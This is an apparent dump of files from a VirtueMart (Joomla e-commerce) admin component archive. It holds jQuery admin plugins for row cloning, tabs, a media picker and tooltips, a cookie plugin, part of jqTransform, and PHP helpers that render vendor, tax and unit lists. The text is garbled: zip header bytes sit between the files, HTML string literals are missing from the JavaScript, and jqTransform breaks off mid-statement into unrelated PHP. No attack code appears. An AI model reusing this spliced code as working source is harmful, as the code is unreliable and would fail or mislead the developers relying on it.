tbod) { var numRows = $(tbod).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(tbod).parents("table").first().show(); } $(clonedRow).find('*').andSelf().filter('[id]').each(function () { //change to something else so we don't have ids with the same name // this.id += "_" + numRows; }); //finally append new row to end of table $(tbod).append(clonedRow); bindActions(clonedRow); $(tbod).children("tr:last").hide().fadeIn(options.insertFadeSpeed); } var removeRow = function (btn) { var tbod = $(btn).parents("tbody:first"); var numRows = $(tbod).children("tr").length; if (numRows > 1 || options.lastRowRemovable === true) { var trToRemove = $(btn).parents("tr:first"); $(trToRemove).fadeOut(options.removeFadeSpeed, function () { $(trToRemove).remove(); options.onRowRemove(); if (numRows == 1) { if (options.hideTableOnEmpty) { $(tbod).parents('table').first().hide(); } // we want to remove the class remove $().removeClass("vmicon-16-remove"); options.onTableEmpty(); } }); } } var bindClick = function (elem, fn) { $(elem).click(fn); } var bindCloneLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); cloneRow(btn); return false; }); } var bindRemoveLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); removeRow(btn); return false; }); } var bindActions = function (obj) { obj.find(options.removeClass).each(function () { bindRemoveLink($(this)); }); obj.find(options.cloneClass).each(function () { bindCloneLink($(this)); }); } return this.each(function () { //Sanity check to make sure we are dealing with a single case if (this.nodeName.toLowerCase() == 'table') { var table = $(this); var tbody = $(table).children("tbody").first(); if (options.orderable && jQuery().sortable) { $(tbody).sortable({ handle:options.dragHandleClass, helper:function (e, ui) { ui.children().each(function () { $(this).width($(this).width()); }); return ui; }, items:"tr", update:function (event, ui) { options.onRowReorder(); } }); } $(table).find(options.addRowTemplateId).each(function () { $(this).removeAttr("id"); var tmpl = $(this); tmpl.remove(); bindClick($(options.addRowButtonId), function () { //options.onBeforeRowAdd(); var newTr = tmpl.clone(); insertRow(newTr, tbody); options.onRowAdd(); return false; }); }); bindActions(table); var numRows = $(tbody).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(table).hide(); } } }); } }); })(jQuery); (function ($) { var methods = { tabs:function (cookie) { var tabscount = this.find('div.tabs').length; if ($.cookie(cookie) == null || cookie == "product0" || tabscount == 1) var idx = 0; else var idx = $.cookie(cookie); if (idx == null) idx = 0; var options = { path:'/', expires:2}, list = '
        '; var tabswidth = 100 / tabscount; this.find('div.tabs').each( function (i) { list += '
      • ' + $(this).attr('title') + '
      • '; $(this).removeAttr('title'); } ); this.prepend(list + '
      '); this.children('div').hide(); // select & open menu var li = $('#tabs li'), div = this.children('div'); li.eq(idx).addClass('current'); div.eq(idx).slideDown(1000); li.click( function () { if ($(this).not(".current")) { var idx = li.index(this); oldIndex = $(this).addClass("current").siblings('li.current').removeClass("current").index(); if (oldIndex !== -1) { if (cookie !== "") $.cookie(cookie, idx, options); div.eq(idx).slideDown(0); div.eq(oldIndex).slideUp(0); } } } ); return this; }, accordeon:function () { var idx = $.cookie('accordeon'), options = { path:'/', expires:2}, div = this.children('div') , h3 = this.children('h3'), A = this.find('.menu-list a'); if (idx == null) idx = 0; div.hide(); h3.eq(idx).addClass('current'); div.eq(idx).show(); h3.click( function () { var menu = $(this); if (menu.not(".current")) { menu.siblings('h3.current').removeClass("current").next().slideUp(200); menu.addClass("current").next().slideDown(200); $.cookie('accordeon', h3.index(this), options); } } ); A.click( function () { $.cookie('vmapply', '0', options); } ); }, media:function (mediatype, total) { var page = 0, max = 24, container = jQuery(this); var pagetotal = Math.ceil(total / max); var cache = new Array(); var formatTitle = function (title, currentArray, currentIndex, currentOpts) { var pagination = '' , pagetotal = total / max; if (pagetotal > 0) { pagination = '<<<'; for (i = 0; i < pagetotal; i++) { pagination += '' + (i + 1) + ''; } pagination += '>>>'; } return '
      ' + (title && title.length ? '' + title + '' : '' ) + ' ' + pagination + '
      '; } jQuery("#fancybox-title").delegate(".media-pagination span", "click", function (event) { var newPage = $(this).text(); display(newPage); event.preventDefault(); }); container.delegate("a.vm_thumb", "click", function (event) { jQuery.fancybox({ "type":"image", "titlePosition":"inside", "title":this.title, "href":this.href }); event.preventDefault(); }); jQuery("#media-dialog").delegate(".vm_thumb_image", "click", function (event) { event.preventDefault(); var id = $(this).find('input').val(), ok = 0; var inputArray = new Array(); $('#ImagesContainer input:hidden').each( function () { inputArray.push($(this).val()) } ); if ($.inArray(id, inputArray) == -1) { that = jQuery(this); jQuery(this).clone().appendTo(container).unbind("click").append('
      '); that.hide().fadeIn(); } }); jQuery("#admin-ui-tabs").delegate("div.vmicon-16-remove", "click", function () { jQuery(this).closest(".vm_thumb_image").fadeOut("500", function () { jQuery(this).remove(); }); }); jQuery("#admin-ui-tabs").delegate("span.vmicon-16-remove", "click", function () { jQuery(this).closest(".removable").fadeOut("500", function () { jQuery(this).remove() }); }); jQuery("#addnewselectimage2").fancybox({ "hideOnContentClick":false, "autoDimensions":true, "titlePosition":"inside", "title":"Media list", "titleFormat":formatTitle, "onComplete":function () { $('.media-pagination').children().eq(page + 3).addClass('media-page-selected'); } }); container.delegate(".edit-24-grey", "click", function () { var data = jQuery(this).parent().find("input").val(); jQuery.getJSON("index.php?option=com_virtuemart&view=media&task=viewJson&format=json&virtuemart_media_id=" + data, function (datas, textStatus) { if (datas.msg == "OK") { jQuery("#vm_display_image").attr("src", datas.file_root + datas.file_url); jQuery("#vm_display_image").attr("alt", datas.file_title); jQuery("#file_title").html(datas.file_title); var lang = datas.file_lang.split(','); jQuery("#vmlangimg").val(lang).trigger("liszt:updated"); if (datas.published == 1) jQuery("#adminForm [name=media_published]").attr('checked', true); else jQuery("#adminForm [name=media_published]").attr('checked', false); if (datas.file_is_downloadable == 0) { jQuery("#media_rolesfile_is_displayable").attr('checked', true); //jQuery("#adminForm [name=media_roles]").filter("value='file_is_downloadable'").attr('checked', false); } else { //jQuery("#adminForm [name=media_roles]").filter("value='file_is_displayable'").attr('checked', false); jQuery("#media_rolesfile_is_downloadable").attr('checked', true); } jQuery("#adminForm [name=file_title]").val(datas.file_title); jQuery("#adminForm [name=file_description]").val(datas.file_description); jQuery("#adminForm [name=file_meta]").val(datas.file_meta); jQuery("#adminForm [name=file_url]").val(datas.file_url); jQuery("#adminForm [name=file_url_thumb]").val(datas.file_url_thumb); jQuery("[name=active_media_id]").val(datas.virtuemart_media_id); if (datas.file_url_thumb !== "undefined") { jQuery("#vm_thumb_image").attr("src", datas.file_root + datas.file_url_thumb); } else { jQuery("#vm_thumb_image").attr("src", ""); } } else jQuery("#file_title").html(datas.msg); }); }); var display = function (num) { if (typeof this.page == "undefined") { this.oldPage = this.page = 0; } if (typeof display.cache == "undefined") { display.cache = new Array(); } switch (num) { case '<': if (this.page > 0) --this.page; else return; break; case '>': if (this.page < pagetotal - 1) ++this.page; else return; break; case '<<': this.page = 0; break; case '>>': this.page = pagetotal - 1; break; default : this.page = num - 1; break; } if (this.oldPage != this.page) { //var cache = this.cache ; var start = this.page; if (typeof display.cache[start] == "undefined") { jQuery.getJSON("index.php?option=com_virtuemart&view=media&task=viewJson&format=json&mediatype=" + mediatype + "&start=" + start, function (data) { if (data.imageList != "ERROR") { display.cache[start] = data.imageList; jQuery("#media-dialog").html(display.cache[start]); jQuery(".page").text("Page(s) " + (start + 1)); } else { jQuery(".page").text("No more results : Page(s) " + (start + 1)); } } ); } else jQuery("#media-dialog").html(display.cache[start]); page = this.oldPage = this.page; $('.media-pagination').children().removeClass('media-page-selected'); $('.media-pagination').children().eq(start + 3).addClass('media-page-selected'); } } }, tips:function (image) { var xOffset = -20; // x distance from mouse var yOffset = 10; // y distance from mouse tip = this; tip.unbind().hover( function (e) { tip.t = this.title; this.title = ''; tip.top = (e.pageY + yOffset); tip.left = (e.pageX + xOffset); $('body').append('

      ' + $(this).html() + '
      ' + tip.t + '

      '); $('#vtip #vtipArrow').attr("src", image); $('#vtip').css("top", tip.top + "px").css("left", tip.left + "px").fadeIn("slow"); }, function () { this.title = tip.t; $("#vtip").fadeOut("slow").remove(); } ).mousemove( function (e) { tip.top = (e.pageY + yOffset); tip.left = (e.pageX + xOffset); $("#vtip").css("top", tip.top + "px").css("left", tip.left + "px"); } ).mousedown( function (e) { this.title = tip.t; $("#vtip").fadeOut("slow").remove(); } ).mouseup( function (e) { this.title = tip.t; $("#vtip").fadeOut("slow").remove(); } ); }, toggle:function () { var options = { path:'/', expires:2}; if ($.cookie('vmmenu')) { var status = $.cookie('vmmenu'); if (status == 'hide') { this.removeClass('vmicon-show').addClass('vmicon-hide'); $('.menu-wrapper').toggle('slide'); } } this.click(function () { $this = $(this); if ($this.hasClass('vmicon-show')) { $this.removeClass('vmicon-show').addClass('vmicon-hide'); $('.menu-wrapper').toggle('slide'); $.cookie('vmmenu', 'hide', options); } else { $this.removeClass('vmicon-hide').addClass('vmicon-show'); $('.menu-wrapper').toggle('slide'); $.cookie('vmmenu', 'show', options); } }); }, yydynoTable:function (options) { var defaults = { removeClass:'.row-remover', cloneClass:'.row-cloner', addRowTemplateId:'#add-template', addRowButtonId:'#add-row', lastRowRemovable:true, orderable:true, dragHandleClass:".drag-handle", insertFadeSpeed:"slow", removeFadeSpeed:"fast", hideTableOnEmpty:true, onRowRemove:function () { }, onRowClone:function () { }, onRowAdd:function () { }, onTableEmpty:function () { }, onRowReorder:function () { } }; options = $.extend(defaults, options); var cloneRow = function (btn) { var clonedRow = $(btn).closest('tr').clone(); var tbod = $(btn).closest('tbody'); insertRow(clonedRow, tbod); options.onRowClone(); } var insertRow = function (clonedRow, tbod) { var numRows = $(tbod).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(tbod).parents("table").first().show(); } $(clonedRow).find('*').andSelf().filter('[id]').each(function () { //change to something else so we don't have ids with the same name // this.id += "_" + numRows; }); //finally append new row to end of table $(tbod).append(clonedRow); bindActions(clonedRow); $(tbod).children("tr:last").hide().fadeIn(options.insertFadeSpeed); } var removeRow = function (btn) { var tbod = $(btn).parents("tbody:first"); var numRows = $(tbod).children("tr").length; if (numRows > 1 || options.lastRowRemovable === true) { var trToRemove = $(btn).parents("tr:first"); $(trToRemove).fadeOut(options.removeFadeSpeed, function () { $(trToRemove).remove(); options.onRowRemove(); if (numRows == 1) { if (options.hideTableOnEmpty) { $(tbod).parents('table').first().hide(); } // we want to remove the class remove $(".price-remove > span").removeClass("vmicon-16-price-remove"); options.onTableEmpty(); } }); } } var bindClick = function (elem, fn) { $(elem).click(fn); } var bindCloneLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); cloneRow(btn); return false; }); } var bindRemoveLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); removeRow(btn); return false; }); } var bindActions = function (obj) { obj.find(options.removeClass).each(function () { bindRemoveLink($(this)); }); obj.find(options.cloneClass).each(function () { bindCloneLink($(this)); }); } return this.each(function () { //Sanity check to make sure we are dealing with a single case if (this.nodeName.toLowerCase() == 'table') { var table = $(this); var tbody = $(table).children("tbody").first(); if (options.orderable && jQuery().sortable) { $(tbody).sortable({ handle:options.dragHandleClass, helper:function (e, ui) { ui.children().each(function () { $(this).width($(this).width()); }); return ui; }, items:"tr", update:function (event, ui) { options.onRowReorder(); } }); } $(table).find(options.addRowTemplateId).each(function () { $(this).removeAttr("id"); var tmpl = $(this); tmpl.remove(); bindClick($(options.addRowButtonId), function () { //options.onRowAdd(); var newTr = tmpl.clone(); insertRow(newTr, tbody); options.onRowAdd(); return false; }); }); bindActions(table); var numRows = $(tbody).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(table).hide(); } } }); } }; $.fn.vm2admin = function (method) { if (methods[method]) { return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); } else if (typeof method === 'object' || !method) { return methods.init.apply(this, arguments); } else { $.error('Method ' + method + ' does not exist on Vm2 admin jQuery library'); } }; })(jQuery); // load defaut scripts jQuery.noConflict(); PKs>\s*com_virtuemart/assets/js/jquery.coookie.jsnuW+A/** * jQuery Cookie plugin * * Copyright (c) 2010 Klaus Hartl (stilbuero.de) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * */ jQuery.cookie = function (key, value, options) { // key and at least value given, set cookie... if (arguments.length > 1 && String(value) !== "[object Object]") { options = jQuery.extend({}, options); if (value === null || value === undefined) { options.expires = -1; } if (typeof options.expires === 'number') { var days = options.expires, t = options.expires = new Date(); t.setDate(t.getDate() + days); } value = String(value); return (document.cookie = [ encodeURIComponent(key), '=', options.raw ? value : encodeURIComponent(value), options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE options.path ? '; path=' + options.path : '', options.domain ? '; domain=' + options.domain : '', options.secure ? '; secure' : '' ].join('')); } // key and possibly options given, get cookie... options = value || {}; var result, decode = options.raw ? function (s) { return s; } : decodeURIComponent; return (result = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? decode(result[1]) : null; }; PKs>\ ׶88.com_virtuemart/assets/js/jquery.jqtransform.jsnuW+A/* * * jqTransform * by mathieu vilaplana mvilaplana@dfc-e.com * Designer ghyslain armand garmand@dfc-e.com * * * Version 1.0 25.09.08 * Version 1.1 06.08.09 * Add event click on Checkbox and Radio * Auto calculate the size of a select element * Can now, disabled the elements * Correct bug in ff if click on select (overflow=hidden) * No need any more preloading !! * ******************************************** */ (function(jQuery){ var defaultOptions = {preloadImg:true}; var jqTransformImgPreloaded = false; var jqTransformPreloadHoverFocusImg = function(strImgUrl) { //guillemets to remove for ie strImgUrl = strImgUrl.replace(/^url\((.*)\)/,'jQuery1').replace(/^\"(.*)\"jQuery/,'jQuery1'); var imgHover = new Image(); imgHover.src = strImgUrl.replace(/\.([a-zA-Z]*)jQuery/,'-hover.jQuery1'); var imgFocus = new Image(); imgFocus.src = strImgUrl.replace(/\.([a-zA-Z]*)jQuery/,'-focus.jQuery1'); }; /*************************** Labels ***************************/ var jqTransformGetLabel = function(objfield){ var selfForm = jQuery(objfield.get(0).form); var oLabel = objfield.next(); if(!oLabel.is('label')) { oLabel = objfield.prev(); if(oLabel.is('label')){ var inputname = objfield.attr('id'); if(inputname){ oLabel = selfForm.find('label[for="'+inputname+'"]'); } } } if(oLabel.is('label')){return oLabel.css('cursor','pointer');} return false; }; /* Hide all open selects */ var jqTransformHideSelect = function(oTarget){ var ulVisible = jQuery('.jqTransformSelectWrapper ul:visible'); ulVisible.each(function(){ var oSelect = jQuery(this).parents(".jqTransformSelectWrapper:first").find("select").get(0); //do not hide if click on the label object associated to the select if( !(oTarget && oSelect.oLabel && oSelect.oLabel.get(0) == oTarget.get(0)) ){jQuery(this).hide();} }); }; /* Check for an external click */ var jqTransformCheckExternalClick = function(event) { if (jQuery(event.target).parents('.jqTransformSelectWrapper').length === 0) { jqTransformHideSelect(jQuery(event.target)); } }; /* Apply document listener */ var jqTransformAddDocumentListener = function (){ jQuery(document).mousedown(jqTransformCheckExternalClick); }; /* Add a new handler for the reset action */ var jqTransformReset = function(f){ var sel; jQuery('.jqTransformSelectWrapper select', f).each(function(){sel = (this.selectedIndex<0) ? 0 : this.selectedIndex; jQuery('ul', jQuery(this).parent()).each(function(){jQuery('a:eq('+ sel +')', this).click();});}); jQuery('a.jqTransformCheckbox, a.jqTransformRadio', f).removeClass('jqTransformChecked'); jQuery('input:checkbox, input:radio', f).each(function(){if(this.checked){jQuery('a', jQuery(this).parent()).addClass('jqTransformChecked');}}); }; /*************************** Buttons ***************************/ jQuery.fn.jqTransInputButton = function(){ return this.each(function(){ var newBtn = jQuery(' '; } /** * Builds an enlist for information (not chooseable) * * //TODO check for misuse by code injection * * @author Max Milbers * * @param $fieldnameXref datafield for the xreftable, where the name is stored * @param $tableXref xref table * @param $fieldIdXref datafield for the xreftable, where the id is stored * @param $idXref The id to query in the xref table * @param $fieldname the name of the datafield in the main table * @param $table main table * @param $fieldId the name of the field where the id is stored * @param $quantity The number of items in the list * @return List as String */ static public function renderGuiList ($fieldnameXref, $tableXref, $fieldIdXref, $idXref, $fieldname, $table, $fieldId, $view, $quantity = 4, $translate = 1) { if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); VmConfig::loadJLang('com_virtuemart_countries'); //Sanitize input $quantity = (int)$quantity; $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fieldnameXref) . ' FROM ' . $db->getEscaped ($tableXref) . ' WHERE ' . $db->getEscaped ($fieldIdXref) . ' = "' . (int)$idXref . '"'; $db->setQuery ($q); $tempArray = $db->loadResultArray (); if ($tempArray) { $links = ''; $ttip = ''; $i = 0; foreach ($tempArray as $value) { if ($translate) { $mainTable = $table . '_' . VMLANG; $q = 'SELECT ' . $db->getEscaped ($fieldname) . ' FROM ' . $db->getEscaped ($mainTable) . ' JOIN ' . $table . ' using (`' . $fieldnameXref . '`) WHERE ' . $db->getEscaped ($fieldId) . ' = "' . (int)$value . '"'; } else { $q = 'SELECT ' . $db->getEscaped ($fieldname) . ' FROM ' . $db->getEscaped ($table) . ' WHERE ' . $db->getEscaped ($fieldId) . ' = "' . (int)$value . '"'; } $db->setQuery ($q); $tmp = $db->loadResult (); if ($i < $quantity) { if ($view != 'user') { $cid = 'cid'; } else { $cid = 'virtuemart_user_id'; } $links .= JHTML::_ ('link', JRoute::_ ('index.php?option=com_virtuemart&view=' . $view . '&task=edit&' . $cid . '[]=' . $value, FALSE), JText::_($tmp)) . ', '; } $ttip .= $tmp . ', '; // $list .= $tmp. ', '; $i++; //if($i==$quantity) break; } $links = substr ($links, 0, -2); $ttip = substr ($ttip, 0, -2); $list = '' . $links . ''; return $list; } else { return ''; } } /** * Creates a Drop Down list of available Creditcards * * @author Max Milbers * @deprecated */ static public function renderCreditCardList ($ccId, $multiple = FALSE) { $model = VmModel::getModel ('creditcard'); $creditcards = $model->getCreditCards (); $attrs = ''; $name = 'creditcard_name'; $idA = $id = 'virtuemart_creditcard_id'; if ($multiple) { $attrs = 'multiple="multiple"'; $idA .= '[]'; } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), $id, $name); array_unshift ($creditcards, $emptyOption); } $listHTML = JHTML::_ ('select.genericlist', $creditcards, $idA, $attrs, $id, $name, $ccId); return $listHTML; } /** * Creates a Drop Down list of available Vendors * * @author Max Milbers * @access public * @param int $virtuemart_shoppergroup_id the shopper group to pre-select * @param bool $multiple if the select list should allow multiple selections * @return string HTML select option list */ static public function renderVendorList ($vendorId, $multiple = FALSE) { $db = JFactory::getDBO (); if (Vmconfig::get ('multix', 'none') == 'none') { $vendorId = 1; $q = 'SELECT `vendor_name` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id` = "' . (int)$vendorId . '" '; $db->setQuery ($q); $vendor = $db->loadResult (); $html = ''; } else { if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if (!Permissions::getInstance ()->check ('admin')) { if (empty($vendorId)) { $vendorId = 1; //Dont delete this message, we need it later for multivendor //JError::raiseWarning(1,'renderVendorList $vendorId is empty, please correct your used model to automatically set the virtuemart_vendor_id to the logged Vendor'); } $q = 'SELECT `vendor_name` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id` = "' . (int)$vendorId . '" '; $db->setQuery ($q); $vendor = $db->loadResult (); $html = ''; // $html .=''; return $html; } else { $q = 'SELECT `virtuemart_vendor_id`,`vendor_name` FROM #__virtuemart_vendors'; $db->setQuery ($q); $vendors = $db->loadAssocList (); $attrs = ''; $name = 'vendor_name'; $idA = $id = 'virtuemart_vendor_id'; if ($multiple) { $attrs = ' multiple="multiple" '; $idA .= '[]'; } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), $id, $name); array_unshift ($vendors, $emptyOption); } $listHTML = JHTML::_ ('select.genericlist', $vendors, $idA, $attrs, $id, $name, $vendorId); return $listHTML; } } } /** * Creates a Drop Down list of available Shopper Groups * * @author Max Milbers * @access public * @param int $shopperGroupId the shopper group to pre-select * @param bool $multiple if the select list should allow multiple selections * @return string HTML select option list */ static public function renderShopperGroupList ($shopperGroupId = 0, $multiple = TRUE,$name='virtuemart_shoppergroup_id', $select_attribute='JOPTION_USE_DEFAULT' ) { $shopperModel = VmModel::getModel ('shoppergroup'); $shoppergrps = $shopperModel->getShopperGroups (FALSE, TRUE); $attrs = ''; //$name = 'shopper_group_name'; //$idA = $id = 'virtuemart_shoppergroup_id'; $attrs['class'] = 'vm-chzn-select'; if ($multiple) { $attrs['multiple'] = 'multiple'; $attrs['data-placeholder'] = vmText::_($select_attribute); //$attrs = 'multiple="multiple" data-placeholder="'.JText::_($select_attribute).'"'; if($name=='virtuemart_shoppergroup_id'){ $name.= '[]'; } } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ($select_attribute), 'virtuemart_shoppergroup_id', 'shopper_group_name'); array_unshift ($shoppergrps, $emptyOption); } //vmdebug('renderShopperGroupList',$name,$shoppergrps); $listHTML = JHTML::_ ('select.genericlist', $shoppergrps, $name, $attrs, 'virtuemart_shoppergroup_id', 'shopper_group_name', $shopperGroupId,false,true); return $listHTML; } /** * Renders the list of Manufacturers * * @author St. Kraft * Mod. St.Kraft 2013-02-24 Herstellerrabatt */ static public function renderManufacturerList ($manufacturerId = 0, $multiple = FALSE, $name = 'virtuemart_manufacturer_id') { $manufacturerModel = VmModel::getModel ('manufacturer'); $manufacturers = $manufacturerModel->getManufacturers (FALSE, TRUE); $attrs = ''; if ($multiple) { $attrs = 'multiple="multiple"'; if($name=='virtuemart_manufacturer_id') $name.= '[]'; } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), 'virtuemart_manufacturer_id', 'mf_name'); array_unshift ($manufacturers, $emptyOption); } // vmdebug('renderManufacturerList',$name,$manufacturers); $listHTML = JHTML::_ ('select.genericlist', $manufacturers, $name, $attrs, 'virtuemart_manufacturer_id', 'mf_name', $manufacturerId); return $listHTML; } /** * Render a simple country list * * @author jseros, Max Milbers, Valérie Isaksen * * @param int $countryId Selected country id * @param boolean $multiple True if multiple selections are allowed (default: false) * @param mixed $_attrib string or array with additional attributes, * e.g. 'onchange=somefunction()' or array('onchange'=>'somefunction()') * @param string $_prefix Optional prefix for the formtag name attribute * @return string HTML containing the ID attribute * @param string $_prefix Optional prefix for the formtag name attribute * @return string HTML containing the '; return $listHTML; } /** * Renders the list for the tax rules * * @author Max Milbers */ static function renderTaxList ($selected, $name = 'product_tax_id', $class = '') { if (!class_exists ('VirtueMartModelCalc')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'calc.php'); } $taxes = VirtueMartModelCalc::getTaxes (); $taxrates = array(); $taxrates[] = JHTML::_ ('select.option', '-1', JText::_ ('COM_VIRTUEMART_PRODUCT_TAX_NONE'), $name); $taxrates[] = JHTML::_ ('select.option', '0', JText::_ ('COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL'), $name); foreach ($taxes as $tax) { $taxrates[] = JHTML::_ ('select.option', $tax->virtuemart_calc_id, $tax->calc_name, $name); } $listHTML = JHTML::_ ('Select.genericlist', $taxrates, $name, $class, $name, 'text', $selected); return $listHTML; } /** * Creates the chooseable template list * * @author Max Milbers, impleri * * @param string defaultText Text for the empty option * @param boolean defaultOption you can supress the empty otion setting this to false * return array of Template objects */ static public function renderTemplateList ($defaultText = 0, $defaultOption = TRUE) { if (empty($defaultText)) { $defaultText = JText::_ ('COM_VIRTUEMART_TEMPLATE_DEFAULT'); } $defaulttemplate = array(); if ($defaultOption) { $defaulttemplate[0] = new stdClass; $defaulttemplate[0]->name = $defaultText; $defaulttemplate[0]->directory = 0; $defaulttemplate[0]->value = 'default'; } if (JVM_VERSION === 1) { if (!class_exists ('TemplatesHelper')) { require (JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_templates' . DS . 'helpers' . DS . 'template.php'); } $jtemplates = TemplatesHelper::parseXMLTemplateFiles (JPATH_SITE . DS . 'templates'); foreach ($jtemplates as $key => $template) { $template->value = $template->name; } } else { $q = 'SELECT * FROM `#__template_styles` WHERE `client_id`="0"'; $db = JFactory::getDbo(); $db->setQuery($q); $jtemplates = $db->loadObjectList(); foreach ($jtemplates as $key => $template) { $template->name = $template->title; $template->value = $template->id; $template->directory = $template->template; } } return array_merge ($defaulttemplate, $jtemplates); } /** * Returns all the weight unit * * @author Valérie Isaksen */ static function getWeightUnit () { static $weigth_unit; if ($weigth_unit) { return $weigth_unit; } return $weigth_unit = array( 'KG' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_KG') , 'G' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_G') , 'MG' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_MG') , 'LB' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_LB') , 'OZ' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_ONCE') ); } /** * Renders the string for the * * @author Valérie Isaksen */ static function renderWeightUnit ($name) { $weigth_unit = self::getWeightUnit (); if (isset($weigth_unit[$name])) { return $weigth_unit[$name]; } else { return ''; } } /** * Renders the list for the Weight Unit * * @author Valérie Isaksen */ static function renderWeightUnitList ($name, $selected) { $weight_unit_default = self::getWeightUnit (); foreach ($weight_unit_default as $key => $value) { $wu_list[] = JHTML::_ ('select.option', $key, $value, $name); } $listHTML = JHTML::_ ('Select.genericlist', $wu_list, $name, '', $name, 'text', $selected); return $listHTML; /* if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); return VmHTML::selectList($name, $selected, $weight_unit_default); * */ } static function renderUnitIsoList($name, $selected){ $weight_unit_default = array( 'KG' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_KG') , '100G' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_100G') , 'M' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_M') , 'SM' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_SM') , 'CUBM' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_CUBM') , 'L' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_L') , '100ML' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_100ML') ); foreach ($weight_unit_default as $key => $value) { $wu_list[] = JHTML::_ ('select.option', $key, $value, $name); } $listHTML = JHTML::_ ('Select.genericlist', $wu_list, $name, '', $name, 'text', $selected); return $listHTML; } /** * typo problem with the function name. We must keep the other one for compatibility purposes * @param $value * @param $from * @param $to */ static function convertWeigthUnit ($value, $from, $to) { return self::convertWeightUnit ($value, $from, $to); } /** * Convert Weight Unit * * @author Valérie Isaksen */ static function convertWeightUnit ($value, $from, $to) { $from = strtoupper($from); $to = strtoupper($to); $value = str_replace (',', '.', $value); if ($from === $to) { return $value; } $g = (float)$value; switch ($from) { case 'KG': $g = (float)(1000 * $value); break; case 'MG': $g = (float)($value / 1000); break; case 'LB': $g = (float)(453.59237 * $value); break; case 'OZ': $g = (float)(28.3495 * $value); break; } switch ($to) { case 'KG' : $value = (float)($g / 1000); break; case 'G' : $value = $g; break; case 'MG' : $value = (float)(1000 * $g); break; case 'LB' : $value = (float)($g / 453.59237); break; case 'OZ' : $value = (float)($g / 28.3495); break; } return $value; } /** * Convert Metric Unit * * @author Florian Voutzinos */ static function convertDimensionUnit ($value, $from, $to) { $from = strtoupper($from); $to = strtoupper($to); $value = (float)str_replace (',', '.', $value); if ($from === $to) { return $value; } $meter = (float)$value; // transform $value in meters switch ($from) { case 'CM': $meter = (float)(0.01 * $value); break; case 'MM': $meter = (float)(0.001 * $value); break; case 'YD' : $meter =(float) (0.9144 * $value); break; case 'FT' : $meter = (float)(0.3048 * $value); break; case 'IN' : $meter = (float)(0.0254 * $value); break; } switch ($to) { case 'M' : $value = $meter; break; case 'CM': $value = (float)($meter / 0.01); break; case 'MM': $value = (float)($meter / 0.001); break; case 'YD' : $value =(float) ($meter / 0.9144); break; case 'FT' : $value = (float)($meter / 0.3048); break; case 'IN' : $value = (float)($meter / 0.0254); break; } return $value; } /** * Renders the list for the Length, Width, Height Unit * * @author Valérie Isaksen */ static function renderLWHUnitList ($name, $selected) { if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } $lwh_unit_default = array('M' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_M') , 'CM' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_CM') , 'MM' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_MM') , 'YD' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_YARD') , 'FT' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_FOOT') , 'IN' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_INCH') ); foreach ($lwh_unit_default as $key => $value) { $lu_list[] = JHTML::_ ('select.option', $key, $value, $name); } $listHTML = JHTML::_ ('Select.genericlist', $lu_list, $name, '', $name, 'text', $selected); return $listHTML; } /** * Writes a line for the price configuration * * @author Max Milberes * @param string $name * @param string $langkey */ static function writePriceConfigLine ($obj, $name, $langkey) { if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } $html = ' ' . VmHTML::checkbox ($name, $obj->get ($name)) . ' ' . VmHTML::checkbox ($name . 'Text', $obj->get ($name . 'Text', 1)) . ' '; return $html; } /** * This generates the list when the user have different ST addresses saved * * @author Oscar van Eijk */ static function generateStAddressList ($view, $userModel, $task) { // Shipment address(es) $_addressList = $userModel->getUserAddressList ($userModel->getId (), 'ST'); if (count ($_addressList) == 1 && 